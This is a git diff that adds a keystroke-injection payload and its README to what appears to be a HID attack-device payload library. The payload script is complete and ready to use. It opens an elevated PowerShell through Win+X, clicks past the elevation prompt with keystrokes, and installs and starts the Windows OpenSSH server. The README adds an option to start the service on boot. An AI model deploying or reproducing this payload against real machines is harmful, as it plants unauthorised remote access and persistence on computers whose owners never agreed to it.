diff --git a/payloads/library/execution/Win_PoSH_SSHServer/payload.txt b/payloads/library/execution/Win_PoSH_SSHServer/payload.txt new file mode 100644 index 00000000..eff9e78a --- /dev/null +++ b/payloads/library/execution/Win_PoSH_SSHServer/payload.txt @@ -0,0 +1,27 @@ +# Title: Win SSH server +# Description: Installs and runs a SSH Server on Windows. +# Author: Cribbit +# Version: 1.0 +# Category: Execution +# Target: Windows 10 Creators Update (Powershell 5.1+) +# Attackmodes: HID +# Requirements: Admin Privileges and an Online Connection +# Notes: Add ` -StartupType 'Automatic'` after Start-Service to start ssh on boot + +LED SETUP +ATTACKMODE HID + +LED ATTACK +Q DELAY 200 +# Admin Powershell need Windows 10 Creators Update +Q GUI x +Q STRING a +sleep 2 +# Q ALT y this work for EN y=yes +# This works for all languages +Q LEFT +Q ENTER +sleep 5 +Q STRING "Get-WindowsCapability -Online | ? Name -like 'OpenSSH.Server*' | ? State -EQ 'NotPresent' | % {Add-WindowsCapability -Online -Name \$_.Name}; Start-Service sshd" +# Q ENTER +LED FINISH \ No newline at end of file diff --git a/payloads/library/execution/Win_PoSH_SSHServer/readme.md b/payloads/library/execution/Win_PoSH_SSHServer/readme.md new file mode 100644 index 00000000..435cdd7f --- /dev/null +++ b/payloads/library/execution/Win_PoSH_SSHServer/readme.md @@ -0,0 +1,27 @@ +# SSH server +- Author: Cribbit +- Version: 1.0 +- Target: Windows 10 Creators Update (Powershell) +- Category: Execution +- Attackmode: HID + +## Change Log +| Version | Changes | +| ------- | --------------- | +| 1.0 | Initial release | + +## Description +Installs and runs a SSH Server on Windows. + +## Notes +This payload needs an admin powershell prompt and an internet connection to run. + +## Configuration +Add ` -StartupType 'Automatic'` after Start-Service to start ssh on boot. + +## Colours +| Status | Colour | Description | +| -------- | ----------------------------- | --------------------------- | +| SETUP | Magenta solid | Setting attack mode | +| ATTACK | Yellow single blink | Injecting Powershell script | +| FINISHED | Green blink followed by SOLID | Script is finished | \ No newline at end of file